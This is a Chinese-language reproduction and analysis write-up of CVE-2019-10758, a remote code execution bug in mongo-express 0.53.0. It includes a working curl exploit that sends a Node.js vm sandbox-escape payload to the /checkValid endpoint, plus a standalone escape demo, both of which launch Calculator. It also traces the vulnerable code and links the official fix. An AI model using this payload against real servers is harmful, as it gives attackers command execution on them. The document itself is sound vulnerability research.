CVE-2019-10758 mongo-express RCE复现分析


复现过程

拉一个MongoDB的docker镜像:

1
docker run -p 27017:27017 -d mongo

本地npm init创建个package.json,接着添加依赖库`mongo-express@0.53.0,npm install`安装

1
2
3
"dependencies": {
"mongo-express": "0.53.0"
},

EXP:

1
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

-w1093

漏洞分析

先来看看checkValid这个路由:lib/router.js#279行
-w1092

跟进checkValid函数:lib/routes/document.js#28
-w1074

获取post的的doc参数,使用bson库进行BSON数据转换。

BSON是一种计算机数据交换格式,主要被用作MongoDB数据库中的数据存储和网络传输格式。它是一种二进制表示形式,能用来表示简单数据结构、关联数组(MongoDB中称为“对象”或“文档”)以及MongoDB中的各种数据类型。BSON之名缘于JSON,含义为Binary JSON(二进制JSON)

跟进toBSON函数:lib/bson.js#54
-w1471
在第60行进入vm沙箱eval操作。

使用this.constructor.constructor逃逸沙箱,参考https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html,使用this指向VM容器外,使用.constructor指向构造器,访问构造器的构造器对象,创建一个构造函数。

demo:

1
2
3
4
5
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator').toString()`);
console.log(xyz);

-w1148

修复

官方修复删除了vm库的引用:https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2
-w1030

参考: